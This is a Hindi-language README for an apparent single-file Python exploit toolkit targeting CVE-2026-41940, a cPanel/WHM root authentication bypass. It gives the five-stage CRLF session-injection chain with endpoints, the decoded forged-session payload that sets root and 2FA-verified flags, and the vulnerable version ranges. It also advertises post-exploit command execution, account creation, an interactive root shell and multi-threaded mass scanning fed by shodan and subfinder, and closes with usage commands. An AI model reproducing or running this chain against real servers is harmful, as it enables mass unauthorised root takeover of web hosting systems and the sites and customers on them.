
स्वचालित स्कैनर और पोस्ट-एक्सप्लॉइटेशन टूलकिट CVE-2026-41940 के लिए — cPanel और WHM रूट प्रमाणीकरण बाईपास, सेशन-फ़ाइल CRLF इंजेक्शन के माध्यम से
अंग्रेज़ी | فارسی (फ़ारसी)
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║
██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║
╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗
╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝
██████╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
CVE-2026-41940 के लिए स्वचालित स्कैनर और पोस्ट-एक्सप्लॉइट टूलकिट — सत्र-फ़ाइल CRLF इंजेक्शन के माध्यम से cPanel और WHM रूट प्रमाणीकरण बाईपास।
CPANEL CVE EXPLOIT एक एकल-फ़ाइल Python उपकरण है जो CVE-2026-41940 के प्रति संवेदनशील cPanel और WHM सर्वरों के अधिकृत सुरक्षा मूल्यांकन के लिए डिज़ाइन किया गया है।
यह भेद्यता एक अनधिकृत रिमोट हमलावर को Authorization: Basic हेडर में CRLF इंजेक्शन के माध्यम से WHM सत्र फ़ाइलों को दूषित करने की अनुमति देती है, जिससे प्रमाणीकरण बाईपास हो जाता है और वैध क्रेडेंशियल के बिना रूट-स्तरीय WHM पहुँच प्राप्त हो जाती है।
| गुण | मान |
|---|---|
| CVE | CVE-2026-41940 |
| गंभीरता | गंभीर |
| CVSS | 10.0 |
| आक्रमण वेक्टर | नेटवर्क / अनधिकृत |
| प्रभाव | पूर्ण WHM रूट पहुँच |
| डिफ़ॉल्ट पोर्ट | 2087 (WHM) |
| स्थिति | वास्तविक दुनिया में शोषण की पुष्टि (अप्रैल 2026) |
cPanel और WHM के संवेदनशील संस्करणों में, Session.pm में saveSession() सत्र फ़ाइल को डिस्क पर लिखने के बाद filter_sessiondata() को कॉल करता है। एक हमलावर HTTP Authorization: Basic हेडर के माध्यम से CRLF (\r\n) वर्णों को इंजेक्ट कर सकता है, जो सीधे डिस्क पर मौजूद सत्र फ़ाइल में लिख दिए जाते हैं — सैनिटाइज़ेशन को बाईपास करते हुए।
यह उपकरण एक Base64-एन्कोडेड पेलोड का उपयोग करता है जो निम्न में डिकोड होता है:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
ये फ़ील्ड पूर्ण रूप से प्रमाणित रूट WHM सत्र का अनुकरण करते हैं, जिसमें 2FA बाईपास (tfa_verified=1) और रूट विशेषाधिकार फ़्लैग (hasroot=1) शामिल हैं।
cPanel ने filter_sessiondata() को Session.pm में सत्र लिखने की प्रक्रिया से पहले निष्पादित करने के लिए स्थानांतरित कर दिया।
शोषण श्रृंखला में 5 चरण (चरण 0–4) शामिल हैं:
flowchart TD
A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
B --> C[Stage 2: CRLF Injection via Authorization Header]
C --> D[Stage 3: Session Propagation via do_token_denied]
D --> E[Stage 4: Verify Root Access via json-api/version]
E --> F{Vulnerable?}
F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
F -->|No| H[Skip Target]
A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]
| चरण | एंडपॉइंट | उद्देश्य |
|---|---|---|
| 0 | /openid_connect/cpanelid | 307 रीडायरेक्ट के माध्यम से कैननिकल होस्टनाम की स्वतः खोज |
| 1 | /login/?login_only=1 | गलत क्रेडेंशियल के साथ प्री-ऑथ whostmgrsession कुकी प्राप्त करें |
| 2 | / | सत्र फ़ाइल में CRLF-विषाक्त Authorization: Basic हेडर इंजेक्ट करें |
| 3 | /scripts2/listaccts | सत्र को कैश में फ्लश करने के लिए do_token_denied गैजेट ट्रिगर करें |
| 4 | /{token}/json-api/version | रूट पहुँच की पुष्टि करें — संस्करण JSON के साथ HTTP 200 |
| विशेषता | विवरण |
|---|---|
| एकल-लक्ष्य स्कैन | एक WHM URL के विरुद्ध पूर्ण शोषण श्रृंखला |
| मास स्कैनिंग | फ़ाइल या stdin से मल्टी-थ्रेडेड स्कैनिंग |
| संस्करण पहचान | पैच किए गए/संवेदनशील संस्करणों की स्वचालित तुलना |
| पोस्ट-एक्सप्लॉइट API | पासवर्ड बदलना, कमांड निष्पादन, खाता सूची, उपयोगकर्ता निर्माण |
| इंटरैक्टिव शेल | फ़ाइल पढ़ने और API कमांड के साथ अंतर्निहित WHM रूट शेल |
| Selenium लॉगिन | Chrome/Firefox में सत्र कुकी का स्वतः इंजेक्शन |
| मैनुअल ब्राउज़र फ़ॉलबैक | मैनुअल WHM लॉगिन के लिए कंसोल JavaScript स्निपेट |
| RCE जाँच | बाईपास के बाद त्वरित id / uname -a सत्यापन |
| JSON निर्यात | सभी निष्कर्षों को संरचित JSON रिपोर्ट में सहेजें |
| पाइपलाइन-तैयार | httpx, subfinder, shodan और awk पाइपलाइनों के साथ काम करता है |
| केवल Stdlib | मुख्य कार्यक्षमता के लिए कोई pip निर्भरता आवश्यक नहीं |
| रंगीन आउटपुट | गंभीरता संकेतकों के साथ रीयल-टाइम चरण लॉगिंग |
| शाखा | पैच संस्करण | स्थिति |
|---|---|---|
| 11.110.x | 11.110.0.97 | पैच से नीचे संवेदनशील |
| 11.118.x | 11.118.0.63 | पैच से नीचे संवेदनशील |
| 11.126.x | 11.126.0.54 | पैच से नीचे संवेदनशील |
| 11.132.x | 11.132.0.29 | पैच से नीचे संवेदनशील |
| 11.134.x | 11.134.0.20 | पैच से नीचे संवेदनशील |
| 11.136.x | 11.136.0.5 | पैच से नीचे संवेदनशील |
नोट: पैच किए गए बिल्ड चला रहे लक्ष्यों को स्कैनिंग के दौरान स्वचालित रूप से चिह्नित और छोड़ दिया जाता है।
| पैकेज | उद्देश्य |
|---|---|
selenium | ब्राउज़र स्वतः-लॉगिन (--selenium) |
| Chrome / Firefox | Selenium के लिए ब्राउज़र इंजन |
pip install -r requirements.txt # optional — selenium only
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit
कोई बिल्ड चरण आवश्यक नहीं है। सीधे चलाएँ:
python3 test-cve.py --help
# Scan a single WHM target
python3 test-cve.py -u https://target.com:2087
# Scan with post-exploit: list all cPanel accounts
python3 test-cve.py -u https://target.com:2087 --action list
# Mass scan from file, 20 threads, save JSON report
python3 test-cve.py -l targets.txt -t 20 -o results.json